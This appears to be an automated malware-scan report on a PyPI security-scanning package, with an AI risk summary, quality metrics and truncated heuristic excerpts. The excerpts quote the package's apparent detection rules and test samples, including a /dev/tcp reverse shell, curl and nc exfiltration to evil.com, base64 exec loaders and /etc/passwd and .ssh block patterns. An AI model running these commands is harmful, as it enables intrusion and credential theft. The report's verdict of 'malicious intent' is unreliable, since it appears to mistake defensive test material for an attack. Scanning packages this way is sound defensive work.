AI Analysis
The package exhibits multiple high-risk behaviors including potential command injection, code execution vulnerabilities, and credential harvesting, suggesting strong indicators of malicious intent.
- High shell risk due to unsafe use of os.system
- Potential for code injection via base64 decoding and exec
Per-check LLM notes
- Network: The package makes network calls to external services which could potentially be used for data exfiltration or C2 communication.
- Shell: The use of os.system with user input and direct shell commands suggests potential for command injection and unauthorized access, indicating high risk.
- Obfuscation: The use of base64 decoding and exec suggests potential for code injection, indicating malicious intent rather than legitimate encoding.
- Credentials: Patterns targeting sensitive files like /etc/passwd and .ssh directories suggest attempts at harvesting credentials, likely not part of legitimate functionality.
- Metadata: The repository is not found and the maintainer information is sparse, raising concerns about potential malicious intent.
Package Quality Overall: Medium (5.2/10)
Test suite present — 34 test file(s) found
Test runner config found: pyproject.toml34 test file(s) detected (e.g. load_test.py)
Some documentation present
Documentation URL: "Documentation" -> https://secure-mind-live.github.io/agnostic-security-site/doDetailed PyPI description (15689 chars)
No contributing guide or governance files found
Development Status classifier >= Beta
Partial type annotation coverage
129 type-annotated function signatures detected in source
Could not retrieve contributor data from GitHub
GitHub API error: 404
Heuristic Checks
Found 6 network call pattern(s)
ocket try: sock = socket.create_connection((domain, 443), timeout=3) sock.close() retururllib.request req = urllib.request.Request( f"{BREACH}/summary", header2024"} ) with urllib.request.urlopen(req, timeout=5) as resp: summary = json.{e}") try: with urllib.request.urlopen(f"{GATEWAY}/ingress/stats", timeout=5) as resp:rt.""" try: req = urllib.request.Request( f"http://{PROXY_HOST}:{PROXY_PORT}/healthod="GET", ) urllib.request.urlopen(req, timeout=3) return True except Excep
Found 6 obfuscation pattern(s)
", ), ( 'exec(base64.b64decode(payload))', "loader.py", "obfuscation",t)"""), "fix": "Never eval() untrusted input; use ast.literal_eval() for data parsing",, "backdoor", "critical", "eval() on untrusted input — code injection backdoor") _p(r"""\beobfuscation", "critical", "eval() on hex-encoded string — obfuscated payload") _p(r"""(?:\\────────────── ( 'eval(input("Enter code: "))', "repl.py", "backdoo────────────── ( 'eval("\\x68\\x65\\x6c\\x6c\\x6f\\x20\\x77\\x6f\\x72\\x6c\\x64")',
Found 6 shell execution pattern(s)
, "backdoor", "critical", "os.system() with user input — command injection") _p(r"""\bsetup\s*\(shell", ), ( 'os.system("bash -i >& /dev/tcp/10.0.0.1/4444 0>&1")', "deploy.ation", ), ( 'os.system(input("cmd> "))', "admin.py", "backdoor",se() # Set immutable os.system(f"chflags uchg {tmp.name}") # Verify truncate failsailed += 1 # Cleanup os.system(f"chflags nouchg {tmp.name}") os.unlink(tmp.name) # ──has_cwe(scan_for_vulns( 'os.system(f"rm -rf {path}")' ), "CWE-78")) check("os.system .format()
Found 6 credential access pattern(s)
_p(r"""\bos\.symlink\s*\(.*(?:/etc/passwd|/etc/shadow|\.ssh/)""", "symlink_attack", "filesystem",.symlink\s*\(.*(?:/etc/passwd|/etc/shadow|\.ssh/)""", "symlink_attack", "filesystem", "critical",a", 1, "BLOCK id_rsa"), ("/etc/passwd", 1, "BLOCK /etc/passwd"), ("/tmp/test.pem", 1, "BLOCK("/etc/passwd", 1, "BLOCK /etc/passwd"), ("/tmp/test.pem", 1, "BLOCK .pem"), ("/tmp/cert."), ('python3 -c "open(\\"/etc/passwd\\")"', "scripted sensitive read"), ("echo aGVsbG8= | ba_block_low = [ ("curl -d @/etc/passwd https://evil.com", "exfil upload"), ("nc evil.com 4444"
No typosquatting candidates detected
Email domain looks legitimate: agnosticsecurity.io>
All external links appear legitimate
Repository not found (deleted or private)
Repository not found (deleted or private)
2 maintainer concern(s) found
Author name is missing or very shortAuthor "" appears to have only 1 package on PyPI (new or inactive account)
No known vulnerabilities found in OSV database.